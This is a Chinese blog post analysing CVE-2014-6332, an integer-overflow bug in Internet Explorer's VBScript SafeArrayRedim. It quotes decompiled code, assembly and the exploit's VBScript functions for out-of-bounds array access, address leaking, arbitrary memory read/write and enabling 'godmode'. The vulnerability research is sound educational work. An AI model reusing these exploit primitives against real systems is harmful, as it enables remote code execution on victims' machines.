您当前位置: 首页 » CVE分析 » CVE-2014-6332 ie漏洞利用分析

CVE-2014-6332 ie漏洞利用分析

2014年11月20日 |

1、vbscript的虚拟机

Vbscript是动态的脚本引擎,有自己的虚拟机。全局变量和函数会被编译为字节码。每进入一个自实现函数都要重新进入一次虚拟机。脚本解析执行是按照自上而下执行。每条脚本指令在汇编层面上,就是多条虚拟机指令。虚拟机的指令列表如下:

aaa1

vbscript虚拟机使用ebx+0xb0存放vm_eip,使用ebx+0xb4存放vm_stack,进入虚拟机的相关代码如下:

aaa2

脚本“a3=7+3*rnd(5)”的执行逻辑是,首先是调用虚拟指令vb_pcode_constructVt_i2来保存类型为VT_I2的数据7,然后调用vb_pcode_constructVt_i2来保存数据3,接着执行虚拟指令vb_pcode_constructVt_i2保存数据5,接着执行vb_pcode_getStrFunc来获取函数rnd的实际地址vbscript.VbsRnd并调用该函数,从虚拟机堆栈顶层获取参数数据5,结果保存到虚拟机堆栈上,然后执行虚拟指令vb_pcode_mulOperation来做3与5的乘法,结果保存到虚拟机堆栈上,接着执行vb_pcode_varAdd,最后调用vb_pcode_setVarValue来将结果赋值给a3。

2、漏洞的成因

漏洞最根本的原因是整形溢出,有符号比较。原理就是vbscript在处理数组定义的时候,在SafeArrayRedim函数中有一条这样的逻辑分支:定义一个数组a,长度为0x30,当使用redim preserve重新定义该数组,长度为0x20,就会执行根据-(0x20-0x30)的值来申请空间,并将0x30中多余的数据拷贝到该空间上去,而不是将末尾数据丢弃掉。并且在做小长度减去大长度的时候,判断差值使用的是有符号比较。当newarray的长度减去oldarray差值是0x8000000的时候,使用该值无法申请这么大的空间,导致出错,由于脚本中的on error resume next,导致最终newarray结构的元素个数字段进行修改,而buf的基地址不变。

2.1 漏洞触发

漏洞出现问题的相关代码:

HRESULT __stdcall SafeArrayRedim(SAFEARRAY *psa, SAFEARRAYBOUND *psaboundNew)

{

//部分变量声明省略

v2 = psa;

if ( psa )

{

v3 = psaboundNew;

if ( psaboundNew )

{

v4 = (struct APP_DATA *)psa->fFeatures;

v19 = psa->fFeatures & 0x2000;

if ( psa->cDims )

{

if ( psa->cLocks > 0 || (unsigned __int8)v4 & 0x10 )

return -2147352563;

psaa = 0;

psaboundNew = 0;

v5 = GetMalloc(v4, (struct IMalloc **)&psaboundNew);// 获取api的地址g_CMalloc

v6 = v5;

if ( v5 && v5 < 0 )

return v6;

oldArarySize = SafeArraySize(v2);       // 原来数组的大小(9+1)*16=0xa0

if ( !oldArarySize || v2->pvData )

{

v7 = v2->rgsabound[0].cElements;

v17 = v2->rgsabound[0].lLbound;

v2->rgsabound[0].cElements = v3->cElements;

v16 = v7;

v2->rgsabound[0].lLbound = v3->lLbound;

newArraySize = SafeArraySize(v2); // 新的数组的大小(0x8000009+1)*0x10

                                       //=0x800000a0

v9 = newArraySize;

v18 = newArraySize;

if ( newArraySize == -1 )             // 判断是不是为-1

{

v2->rgsabound[0].cElements = v7;

v2->rgsabound[0].lLbound = v17;

v6 = 0x8007000Eu;

}

else

{

v10 = newArraySize – oldArarySize;   //求差值,也就是0x80000000

v20 = newArraySize – oldArarySize;

if ( newArraySize != oldArarySize )

{

if ( (v10 & 0x80000000u) != 0 && v2->fFeatures & 0xF20 )

//这里是漏洞触发的根本原因,其相关的汇编代码

770FAE16   2B4D FC         sub     ecx, dword ptr [ebp-0x4]//新减旧=0x80000000

770FAE19   894D F8         mov     dword ptr [ebp-0x8], ecx

770FAE1C   0F84 B9930200   je     771241DB   //不等于0,条件不成立

770FAE22   85C9           test   ecx, ecx     //test 0x80000000,0x80000000

770FAE24   7D 4B           jge     short 770FAE71 //出错的根本原因,有符号比较,结果为负

770FAE26   66:F743 02 200F test   word ptr [ebx+0x2], 0xF20

770FAE2C   74 43           je     short 770FAE71

770FAE2E   837D F4 00     cmp     dword ptr [ebp-0xC], 0x0

770FAE32   0F85 AA930200   jnz     771241E2

770FAE38   8B45 0C         mov     eax, dword ptr [ebp+0xC]

770FAE3B   8BF1           mov     esi, ecx

770FAE3D   8B08           mov     ecx, dword ptr [eax]

770FAE3F   F7DE           neg     esi

770FAE41   56             push   esi

770FAE42   50             push   eax

770FAE43   FF51 0C         call   dword ptr [ecx+0xC]             ; ole32.CRetailMalloc_Alloc

 

{

if ( v19 )                     // v19 = 0

{

psaa = (VARIANTARG *)((char *)v2->pvData + newArraySize);

}

else

{

v11 = -(newArraySize – oldArarySize);//

v12 = (void *)(*(int (__stdcall **)(_DWORD, _DWORD))(psaboundNew->cElements + 0xC))(

                                 psaboundNew,

                                 -(newArraySize – oldArarySize));// 使用差值也就是0x80000000调用ole32.CRetailMalloc_Alloc来申请控件

//

//

psaa = (VARIANTARG *)v12;

if ( !v12 )                   // v12为0

goto LABEL_35;

memcpy(v12, (char *)v2->pvData + v9, v11);

v9 = v18;

v7 = v16;

v10 = v20;

}

}

if ( v19 )

{

if ( v9 <= (unsigned int)oldArarySize )

goto LABEL_19;

v14 = (*(int (__stdcall **)(_DWORD, _DWORD))(psaboundNew->cElements + 0xC))(psaboundNew, v9);

if ( v14 )

{

memcpy((void *)v14, v2->pvData, oldArarySize);

HIBYTE(v2->fFeatures) &= 0xDFu;

goto LABEL_18;

}

v2->rgsabound[0].cElements = v7;

}

else

{

v13 = psaboundNew;

v14 = (*(int (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(psaboundNew->cElements + 16))(

v10,

psaboundNew,

v2->pvData,

v9);

if ( v14 )

{

LABEL_18:

v10 = v20;

v2->pvData = (PVOID)v14;

LABEL_19:

if ( (v10 & 0x80000000u) == 0 )

{

memset((char *)v2->pvData + oldArarySize, 0, v10);

}

else

{

if ( psaa )

ReleaseResources((int)v2, psaa, -v10, v2->fFeatures, v2->cbElements);

if ( v19 )

psaa = 0;

}

v6 = 0;

goto LABEL_24;

}

if ( !v9 )

{

v14 = (*(int (__stdcall **)(_DWORD, _DWORD))(v13->cElements + 12))(v13, 0);

goto LABEL_18;

}

v2->rgsabound[0].cElements = v16;

}

v2->rgsabound[0].lLbound = v17;

LABEL_35:

v6 = 0x8007000Eu;                 // 错误码

LABEL_24:

if ( psaa )

(*(void (__stdcall **)(_DWORD, _DWORD))(psaboundNew->cElements + 20))(psaboundNew, psaa);

return v6;

}

v6 = 0;

}

return v6;

}

}

}

}

return -2147024809;

}

2.2 漏洞造成的直接结果

漏洞造成的直接结果就是:在汇编层面上的一个结构,结构中表征缓冲区地址的字段不会被改,而表征元素个数的字段会被修改。

1)首先来认识vbscript脚本中的一个结构在c语言层面上的定义:

aaa3

其中cElements表征的是数组元素个数。其计算的算法:

Dim aa(0xbb)

cElements = 0xbb + 1

length = (0xbb + 1) * 0x10

pvData = alloc(length)

乘以0x10的原因是vbscript脚本使用variant结构来存储每个元素的,variant长度是0x10,其定义如下:

aaa4

只要知道结构中的第一个DWORD是表征数据类型的,第三个DWORD存放的是数据或指针,第四个字节double float的时候会用来存放数据就好。

一个variant对象的内存布局:

aaa5

0x39b134存放的是bstr对象

aaa6

2)redim的文档说明如下:

aaa7

当使用preserve的时候,我们是可以修改最后一个维度的大小,也就是我们可以控制cElements。漏洞触发后,因为无法申请0x80000000大小的pvData出错,但是vbscript的容错性导致程序继续执行,也就是pvData没有被改变,但是cElements却被改为其它值。

Poc中的aa在漏洞触发后的内存布局如下:

aaa8

其中0x16e620是pvData,而0x800000a是cElements。

3、漏洞利用

因为漏洞最终是开启“Godmode”,也就是将“Godmode”的flag置位,所以将漏洞利用成功的两个关键点是:一个只是改写元素个数的数组对象,可控的目的地址,可控的写入数据。

3.1 越界开关

Poc中每个自定义函数都有一对开关,跟内核代码中的开启关闭写保护差不多。该开关行文中把它命名为“越界开关”,该开关就是决定数组是否可以越界访问。通俗的讲就是定义一个数组aa(10),我想访问aa(11),需要把越界开关打开。

1)越界判定

一个正常的数组,是无法越界访问的。在阐述漏洞成因的时候,我们已经讲明,漏洞造成结果是safearray中的cElement可被改变为一个特别大的值0x800000X,而数组中的pvData不变。当我们访问一个索引比0x800000X小的值是被允许的。

当我们要索引数组中的数据时,调用的是AccessArray函数,其比较索引值来判定是否越界,其代码如下:

aaa9

2)越界访问

下面使用调试过程中的一组数据来说明问题:

aa数组pvData起始地址是0x1a7810,ab数组的pvData起始地址是0x1a78b8,正好差(9+1)*16 + 8(后边会讲到为什么是这个值)。

aaa10

开启越界后的一组访问数据如下:

aa(11) 操作的是? 0x1a7810 + 0xb*0x10 = 0x1a7810+0xb0 = 0x1a78c0

ab(0) 操作的是?0x1a78b8+0*0x10 = 0x1a78b8

显然,aa(11)读到了ab(0)地址空间的内容。这也就是通过修改索引值操作aa能够读写ab数组的内容,同样的,通过操作ab的索引值也能够读写aa的内容。aa、ab之间能够互相读写是利用中的一个基本条件。

3)越界开启

redim Preserve aa(a2)

其实越界开启,在汇编层面上,会根据将原来的长度和现在的长度作比较,然后申请差值0x80000000大小的内存,因为申请不出来,但是vbscript有容错性,on error resume next,所以,修改对象中pvData不成功,但是能够修改成功cElements。归结为越界开启就是修改aa数组的cElements为0x800000X。

4)越界关闭

redim Preserve aa(a0)

越界关闭,也就是将aa数组中cElements改为正常值。

3.2 构造连续的两个对象

第一个技巧就是堆分配时的技巧,当两个全局对象连续定义的时候,有可能这两个safearray对象的pvData地址在内存上也是连续排布的。

1)脚本的全局数组aa和ab的连续定义

使用dim aa()只能构造一个safearray结构,它的pvData和cElement都为空。只有当dim aa(0xBB)有元素个数的时候才会有堆的分配。Poc中,aa和ab的连续定义如下:

aaa11

2)因为对象连续定义,其真正存储数据的堆是否连续,这是是个大概率事件,所以poc中使用循环来提高概率,当Over函数返回True的时候,则可以确定两个对象使用的堆是连续排布的。

aaa12

3)连续对象的内存表现形式:

假使执行如下的脚本:

dim aa(9)

dim ab(9)

其堆在内存上的排布如下:

aaa13

两个对象的pvData连续排布后,ab的pvData地址0xBBBBBBBBB,减去aa的pvData的地址0xAAAAAAAA。

0xBBBBBBBBB – 0xAAAAAAAA = aa的pvData的长度 + 8个字节的堆头

而aa的pvData长度计算,我们前边已经介绍过:

Length = cElements * 0x10

pvData = alloc(Length )

也就是说,堆连续排布,可以完全精确的使用aa越界来读取ab数组中的内容。

4)验证是否堆连续

由于pvData堆分配时,会将其内存都清为0。验证连续的原理是:poc中使用一个很大的浮点值来当一个标兵,把这个标兵放到ab(0)上。当aa越界访问指定偏移的数据,假如正好是ab(0)的内容,那么就能够说明aa和ab的pvData已经连续排布。验证过程中也用堆头的数据做了判定。下面以调试中的一组调试数据来作为说明:

aa的pvData是0x1a7810,终止地址0x1a7810 + 9*0x10 =0x1a78a0

ab的pvData是0x1a78b0,终止地址0x1a78b0 + 9*0x10

aa和ab的pvData来内存中分界区域的数据如下:

aaa14

下边是验证两个对象的pvData堆是否连续排布的函数over:

function Over()

On Error Resume Next

dim type1,type2,type3

Over=False

a0=a0+a3             ‘这里是0+float,a3的值是浮点值大约为9

a1=a0+2               ‘a1的值是0xb

a2=a0+&h8000000         ‘a2边为double float

redim Preserve aa(a0)   ’定义一个元素个数为9的数组,内存pvdata就是0xa0

redim   ab(a0)         ‘定义一个元素个数为9的数组,内存pvdata就是0xa0

redim Preserve aa(a2) ‘开启越界

type1=1

ab(0)=1.123456789012345678901234567890 ‘可以变,只要是double float就ok

aa(a0)=10

If(IsObject(aa(a1-1)) = False) Then   ‘这是在访问堆头,堆头的内容是

if(vartype(aa(a1-1))<>0) Then   ’获取堆头的类型,也就是0x15

If(IsObject(aa(a1)) = False ) Then

type1=VarType(aa(a1))   ‘读取ab数据的内容

end if

end if

end if

If(type1=&h2f66) Then ’为什么是2f66呢,其实是double float转为16进制的值

‘vartype是取数据的最低两个字节

Over=True

End If

redim Preserve aa(a0) ‘关闭越界

end function

 

3.3 泄露自定义函数的对象

两个连续的对象的pvData在内存中连续排布后,poc继续做的事是将一个函数对象的地址给泄露出来,该函数对象地址可以用于之后的godmode定位。

1)testaa函数对象在内存中的形式

aaa15

对象指针的内存布局是这样的:

aaa16

2)泄露地址的技巧

获取一个函数variant对象,将该对象赋值给越界的aa(a1),然后通过ab(0)修改aa(a1)的数据类型为VT_I4,然后使用aa(a1)将改地址读出来。脚本如下:

sub testaa()

end sub

function mydata()

On Error Resume Next

i=testaa   ‘把一个函数地址给带入了

i=null

redim Preserve aa(a2) ’开启越界

ab(0)=0

aa(a1)=i

ab(0)=6.36598737437801E-314

aa(a1+2)=myarray               ‘myarray是为了后续函数检测绕过

ab(2)=1.74088534731324E-310

mydata=aa(a1)

redim Preserve aa(a0)   ‘关闭越界

end function

执行完aa(a1) = i,其内存布局是如下的:

aaa17

浮点数6.36598737437801E-314在内存中的形式:

aaa18

执行ab(0)=6.36598737437801E-314是为了修改数据类型,也就是:

aaa19

因为每个浮点数6.36598737437801E-314使用一个variant存放,其赋值给ab(0)也就是把它的值写到0x1a78c0的位置上,这样就修改了aa(a1)的前8个字节,而aa(a1)的数据类型保存在前两个字节中,所以,ab(0)=6.36598737437801E-314是用来修改aa(a1)的数据类型,将aa(a1)的数据类型改为vt_i4,这样在访问aa(a1)的时候,0x39a9e0就会当做一个常数而不是指针,被直接读出。

3)mydata函数的其余功能

mydata函数中还有下边的两句,这两句的功能是最精彩地方,后边会讲到:

aa(a1+2)=myarray

ab(2)=1.74088534731324E-310

 

3.4 任意地址读

Poc中ReadMemo函数是用来对给定的参数add取其内容,也就是可以读取任意给定地址的内容,通俗的表示就是:

ReadMemo(add) = poi(add)

 

1)脚本代码如下:

function ReadMemo(add)

On Error Resume Next

redim Preserve aa(a2)   ’开启越界

ab(0)=0

aa(a1)=add+4           ’lenb计算的时候会减4

ab(0)=1.69759663316747E-313

ReadMemo=lenb(aa(a1))

ab(0)=0                 ‘清零,应该作者调试的时候为了防止内存数据不为空碍眼

redim Preserve aa(a0)   ‘关闭越界

end function

2)修改传入参数的数据类型为vt_bstr

浮点数1.69759663316747E-313在内存的形式:

aaa20

ab(0)=1.69759663316747E-313是为了将函数ReadMemo传参数add的类型修改vt_bstr,为后续调用lenb读取内容做准备。执行完该局内存的布局如下:

aaa21

3)vbscript中vt_bstr的存储形式

脚本中判断浏览器的版本号的时候使用过一个字符串“MSIE”,其内存布局如下:

aaa22

而0x20b32f0的内存布局如下,其真实字符串的地址减4的位置存放的就是该宽字符占用的空间大小:

aaa23

4)lenb获取长度的方式

当执行lenb(aa(a1)),其实就是执行lenb(add+4),为什么不接这么操作呢,因为add+4的数据类型不是vt_bstr。 lenb的具体实现:

aaa24

简化的图如下:

aaa25

3.5 godmode的地址定位

前边已经说明过testaa函数对象的地址被泄露出来,同时能够任意地址读,而godmode的地址可以通过testaa的函数对象泄露出来。

具体的读取过程以脚本直接说明:

i=mydata()         ‘获取testaa函数的地址对象指针

i=readmemo(i+8)   ‘获取CScriptEntryPoint对象指针

i=readmemo(i+16)   ’获取COleScript对象的指针

j=readmemo(i+&amp;h134)

for k=0 to &amp;h60 step 4   ‘为了浏览器的兼容性,因为godmode在不同的浏览器中

的偏移位置不同,有点特征码搜索和硬编码的意思。如果

找到0xe,说明找到了godmode的地址空间,大小是16个

字节,只要godmode在这16个字节的空间中,最后就能

够被请0

j=readmemo(i+&amp;h120+k)

if(j=14) then

j=0

redim Preserve aa(a2)

aa(a1+2)(i+&amp;h11c+k)=ab(4)

redim Preserve aa(a0)

j=0

j=readmemo(i+&amp;h120+k)

Exit for

end if

next

3.6 任意地址写

行文到这,看起来前边已经足够巧妙了,从对象的堆连续排布,到函数对象地址泄露,到任意地址读写,到定位godmode地址,到lenb函数取内容,每个点都很巧妙,特别的有艺术感。但是,至此还没有结束,最终的写操作才是精巧至极的。

下面来说最精巧的一段,也就是任意地址写操作。

1)结论

aa(a1+2)(i+&h11c+k)=ab(4)

这句指令的功能其实就是往i+&h11c+k计算结果中写ab(4)的数据,i+&h11c+k不仅仅是个索引值,还是一个目的地址。因为i+&h11c+k是可控的,所以,可以往任意地址写数据。这句脚本不是恒成立的,只有精心排布的aa(a1+2)地址的内存,才会使之成立。

2)字符串myarray

myarray是一段奇怪的数据:

myarray=chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)

myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)

执行完上边这两句,myarray的内存布局是这样的:

aaa26

3)引用myarray的脚本如下:

这段数据是在内存中构造了一个SafeArray结构的数据。

aa(a1+2)=myarray

ab(2)=1.74088534731324E-310

aa(a1+2)=myarray的脚本执行完后的内存布局如下:

aaa27

浮点数除了over函数中作为标兵出现,其它地方均是在修改数据类型,浮点值1.74088534731324E-310的内存存储形式如下:

aaa28

执行完ab(2)=1.74088534731324E-310后,正好把aa(a1+2)保存的对象类型值由8改为0x200c,也就是VT_ARRAY|VT_VARIANT。如果是0x200c,其内存的布局是这样的:

aaa29

至此,内存布局已经完成,就等着使用该片区域的数据了。

4)最精巧的一句脚本

aa(a1+2)(i+&h11c+k)=ab(4)

这句脚本的执行是自右至左的,左边的表达式执行的逻辑:首先取出a1的值11(其实是个浮点值11.11664,当做做索引的时候会转为vt_i4),然后取出2,接着调用vbsvaradd做加法得13,然后使用13在aa中索引,也就是aa(13)=0x1a7810+0xd*0x10=0x1a78e0,结果保存到一个临时的variant对象中。接下来获取i的值,也就是0x399cb8,构造一个保存0x11c的variant对象,调用vbsvaradd做加法操作,结果是0x399dd4,获取k的值0x54,调用vbsvaradd执行加法操作。然后调用isIDispatch判断0x1a78e0里边存放的数据的数据类型是不是9,不等于精心构造的0x200c(VT_ARRAY|VT_VARIANT),最后调用accessarray来获取计算0x1a78e0[0x399E28]的值。

因为0x1a78e0的内存数据是通过myarray来精心构造,这里是最精巧的点,myarray的这些数据是为了绕过accessarray函数的逻辑中的判定条件,将索引值0x399E28泄露出来。也就是下边两句是等价的:

aa(a1+2)(0xAAAAAAAA) = ab(4)

*(0xAAAAAAAA)= ab(4)

等价的条件是aa(a1+2)中存放特定的数据(有没有感觉某人是个数学家)。AccessArray的绕过如下:

signed int __stdcall AccessArray(struct VAR **a1, int a2, int a3, int a4, struct tagSAFEARRAY **a5)

{

int v5; // eax@1

int v6; // esi@3

int v7; // ebx@7

int v8; // edi@7

int v9; // eax@8

LONG v10; // eax@9

int v11; // eax@10

signed int result; // eax@15

__int32 v13; // eax@22

__int32 v14; // [sp-Ch] [bp-28h]@25

struct VAR *v15; // [sp-8h] [bp-24h]@25

const unsigned __int16 *v16; // [sp-4h] [bp-20h]@25

VARIANTARG pvargDest; // [sp+Ch] [bp-10h]@22

int v18; // [sp+28h] [bp+Ch]@7

int v19; // [sp+28h] [bp+Ch]@12

 

v5 = VAR::PvarCutAll(a2); //v5就是aa(a1+2),如下

001A78E0 0000200C

001A78E4 0000200C

001A78E8 001954E4

001A78EC 0012DF30

 

而0x1954e4存放的如下:

001954E4 08800001

001954E8 00000001

001954EC 00000000

001954F0 00000000

001954F4 7FFF0000

001954F8 00000000

 

if ( *(_WORD *)v5 == 0x200C ) //这里就条件满足,呼应前边的myarray的构造

{

v6 = *(_DWORD *)(v5 + 8); 取出0x1954e4来

}

else

{

if ( *(_WORD *)v5 != 0x600C )

return -2147352571;

v6 = **(_DWORD **)(v5 + 8);

}

if ( v6 && *(_WORD *)v6 && *(_WORD *)v6 == a3 ) //调用accessarray时,a3为1,这里也绕过了

{

v18 = 0;

v7 = a4;

v8 = v6 + 16; //v8就是0x1954f4

while ( 1 )

{

v9 = VAR::PvarCutAll(v7); //这里取出来的v9是i+&h11c+k,内存布局是:

0039A818 00000003

0039A81C 00000000

0039A820 00399E28

0039A824 020B03EC UNICODE “nB”

 

if ( *(_WORD *)v9 == 2 ) 不成立

{

v10 = *(_WORD *)(v9 + 8);

}

else

{

if ( *(_WORD *)v9 == 3 ) //成立

{

v10 = *(_DWORD *)(v9 + 8); //取出0x399e28

}

else

{

pvargDest.vt = 0;

v13 = rtVariantChangeTypeEx(&pvargDest, (VARIANTARG *)v9, 0x400u, 2u, 3u);

if ( v13 < 0 )

{

v16 = 0;

v15 = (struct VAR *)v7;

v14 = v13;

return CScriptRuntime::RecordHr(v14, v15, v16);

}

v10 = pvargDest.lVal;

}

}

v11 = v10 – *(_DWORD *)(v8 + 4); //v8+4是精心构造的,存放的是0,所以v11等于v10

if ( v11 < 0 || v11 >= *(_DWORD *)v8 ) // v11大于0,v11存放的0x399e28小于v8存放0x7fff0000

{

v16 = 0;

v15 = (struct VAR *)v7;

v14 = -2147352565;

return CScriptRuntime::RecordHr(v14, v15, v16);

}

v19 = v11 + v18; //v19等于v11,v18为0

–a3;

if ( a3 <= 0 )   //等于0,跳出循环

break;

v8 += 8;

v18 = v19 * *(_DWORD *)v8;

v7 += 16;

}

*a1 = (struct VAR *)(*(_DWORD *)(v6 + 0xC) + v19 * *(_DWORD *)(v6 + 4));

//v6+4存放的是1,v6+0xc存放的是0,v19存放的是最终要访问的i+&h11c+k

if ( a5 )

*a5 = (struct tagSAFEARRAY *)v6;

result = 0;

}

else

{

result = -2147352565;

}

return result;

}

最终调用AssignVar函数来完成将ab(4)的空数据写入到godmode中,写入的长度是16个字节:

aaa30

4、思考

分析完后,同事提了一个问题,既然我们知道godmode的地址了,并且aa数组可以越界,那么为什么不越界到godmode的地址上,将aa(someIndex)=ab(0)的方式来写呢? 原因就是aa数组对象的本身地址没有泄露出来,只是泄露了函数testaa的地址,所以,我们无法计算godmode和aa的pvData之间的距离。至于通过i=aa i=null的脚本能不能把aa的地址泄露出来,回去试试呗

文中可能有理解错误的地方,或是没有分析到的细节,望斧正。

最后,某某牛,请收下我的膝盖。

5、参考

1)http://hi.baidu.com/yuange1975

2)http://securityintelligence.com/ibm-x-force-researcher-finds-significant-vulnerability-in-microsoft-windows/#.VGsLdPmUcWY

3)http://blog.trendmicro.com/trendlabs-security-intelligence/a-killer-combo-critical-vulnerability-and-godmode-exploitation-on-cve-2014-6332/

分类:

CVE分析

| 标签:

评论关闭。